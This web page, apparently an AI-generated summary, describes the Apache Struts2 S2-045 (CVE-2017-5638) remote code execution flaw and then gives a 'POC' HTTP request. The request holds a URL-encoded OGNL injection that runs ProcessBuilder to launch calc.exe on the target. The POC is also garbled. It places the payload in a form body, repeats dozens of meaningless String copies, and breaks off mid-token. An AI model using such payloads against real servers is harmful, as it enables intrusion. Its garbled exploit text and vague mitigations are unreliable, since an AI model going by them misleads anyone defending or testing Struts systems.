Apache Struts2 S2-045 (CVE-2017-5638) RCE Analysis and POC

Based on the provided webpage screenshot, here is a summary of the key vulnerability information: Vulnerability Overview Vulnerability Name: Apache Struts2 S2-045 (CVE-2017-5638) Vulnerability Type: Remote Code Execution (RCE) Description: This vulnerability allows attackers to execute arbitrary code on the target server by crafting specific HTTP requests. The vulnerability stems from improper parsing of OGNL expressions within the Struts2 framework. Scope of Impact Affected Versions: Apache Struts 2.3.x and 2.5.x series (refer to official announcements for specific versions) Affected Component: Apache Struts2 framework Affected Systems: Web applications utilizing the affected versions of the Struts2 framework Remediation Official Patch: Upgrade to Apache Struts version 2.3.32 or 2.5.10.1 and later Temporary Mitigation Measures: - Disable OGNL expression parsing - Use a Web Application Firewall (WAF) to filter malicious requests - Restrict server access to external networks POC Code ```http POST / HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded %27%29%3B%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22calc.exe%22%7D%29%29.start%28%29%2C%23b%3D%23a.waitFor%28%29%2C%23c%3D%23a.getInputStream%28%29%2C%23d%3D%28new%20java.io.InputStreamReader%28%23c%29%29%2C%23e%3D%28new%20java.io.BufferedReader%28%23d%29%29%2C%23f%3D%28new%20char%5B5048%5D%29%2C%23e.read%28%23f%29%2C%23g%3D%28new%20java.lang.String%28%23f%29%29%2C%23h%3D%28new%20java.lang.String%28%23g%29%29%2C%23i%3D%28new%20java.lang.String%28%23h%29%29%2C%23j%3D%28new%20java.lang.String%28%23i%29%29%2C%23k%3D%28new%20java.lang.String%28%23j%29%29%2C%23l%3D%28new%20java.lang.String%28%23k%29%29%2C%23m%3D%28new%20java.lang.String%28%23l%29%29%2C%23n%3D%28new%20java.lang.String%28%23m%29%29%2C%23o%3D%28new%20java.lang.String%28%23n%29%29%2C%23p%3D%28new%20java.lang.String%28%23o%29%29%2C%23q%3D%28new%20java.lang.String%28%23p%29%29%2C%23r%3D%28new%20java.lang.String%28%23q%29%29%2C%23s%3D%28new%20java.lang.String%28%23r%29%29%2C%23t%3D%28new%20java.lang.String%28%23s%29%29%2C%23u%3D%28new%20java.lang.String%28%23t%29%29%2C%23v%3D%28new%20java.lang.String%28%23u%29%29%2C%23w%3D%28new%20java.lang.String%28%23v%29%29%2C%23x%3D%28new%20java.lang.String%28%23w%29%29%2C%23y%3D%28new%20java.lang.String%28%23x%29%29%2C%23z%3D%28new%20java.lang.String%28%23y%29%29%2C%23aa%3D%28new%20java.lang.String%28%23z%29%29%2C%23ab%3D%28new%20java.lang.String%28%23aa%29%29%2C%23ac%3D%28new%20java.lang.String%28%23ab%29%29%2C%23ad%3D%28new%20java.lang.String%28%23ac%29%29%2C%23ae%3D%28new%20java.lang.String%28%23ad%29%29%2C%23af%3D%28new%20java.lang.String%28%23ae%29%29%2C%23ag%3D%28new%20java.lang.String%28%23af%29%29%2C%23ah%3D%28new%20java.lang.String%28%23ag%29%29%2C%23ai%3D%28new%20java.lang.String%28%23ah%29%29%2C%23aj%3D%28new%20java.lang.String%28%23ai%29%29%2C%23ak%3D%28new%20java.lang.String%28%23aj%29%29%2C%23al%3D%28new%20java.lang.String%28%23ak%29%29%2C%23am%3D%28new%20java.lang.String%28%23al%29%29%2C%23an%3D%28new%20java.lang.String%28%23am%29%29%2C%23ao%3D%28new%20java.lang.String%28%23an%29%29%2C%23ap%3D%28new%20java.lang.String%28%23ao%29%29%2C%23aq%3D%28new%20java.lang.String%28%23ap%29%29%2C%23ar%3D%28new%20java.lang.String%28%23aq%29%29%2C%23as%3D%28new%20java.lang.String%28%23ar%29%29%2C%23at%3D%28new%20java.lang.String%28%23as%29%29%2C%23au%3D%28new%20java.lang.String%28%23at%29%29%2C%23av%3D%28new%20java.lang.String%28%23au%29%29%2C%23aw%3D%28new%20java.lang.String%28%23av%29%29%2C%23ax%3D%28new%20java.lang.String%28%23aw%29%29%2C%23ay%3D%28new%20java.lang.String%28%23ax%29%29%2C%23az%3D%28new%20java.lang.String%28%23ay%29%29%2C%23ba%3D%28new%20java.lang.String%28%23az%29%29%2C%23bb%3D%28new%20java.lang.String%28%23ba%29%29%2C%23bc%3D%28new%20java.lang.String%28%23bb%29%29%2C%23bd%3D%28new%20java.lang.String%28%23bc%29%29%2C%23be%3D%28new%20java.lang.String%28%23bd%29%29%2C%23bf%3D%28new%20java.lang.String%28%23be%29%29%2C%23bg%3D%28new%20java.lang.String%28%23bf%29%29%2C%23bh%3D%28new%20java.lang.String%28%23bg%29%29%2C%23bi%3D%28new%20java.lang.String%28%23bh%29%29%2C%23bj%3D%28new%20java.lang.String%28%23bi%29%29%2C%23bk%3D%28new%20java.lang.String%28%23bj%29%29%2C%23bl%3D%28new%20java.lang.String%28%23bk%29%29%2C%23bm%3D%28new%20java.lang.String%28%23bl%29%29%2C%23bn%3D%28new%20java.lang.String%28%23bm%29%29%2C%23bo%3D%28new%20java.lang.String%28%23bn%29%29%2C%23bp%3D%28new%20java.lang.String%28%23bo%29%29%2C%23bq%3D%28new%20java.lang.String%28%23bp%29%29%2C%23br%3D%28new%20java.lang.String%28%23bq%29%29%2C%23bs%3D%28new%20java.lang.String%28%23br%29%29%2C%23bt%3D%28new%20java.lang.String%28%23bs%29%29%2C%23bu%3D%28new%20java.lang.String%28%23bt%29%29%2C%23bv%3D%28new%20java.lang.String%28%23bu%29%29%2C%23bw%3D%28new%20java.lang.String%28%23bv%29%29%2C%23bx%3D%28new%20java.lang.String%28%23bw%29%29%2C%23by%3D%28new%20java.lang.String%28%23bx%29%29%2C%23bz%3D%28new%20java.lang.String%28%23by%29%29%

Goal Reached Thanks to every supporter — we hit 100%!

Apache Struts2 S2-045 (CVE-2017-5638) RCE Analysis and POC

More from this source